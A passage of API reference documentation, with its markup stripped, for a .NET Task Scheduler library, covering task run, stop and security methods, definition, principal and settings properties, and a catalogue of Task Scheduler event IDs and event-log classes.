task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through 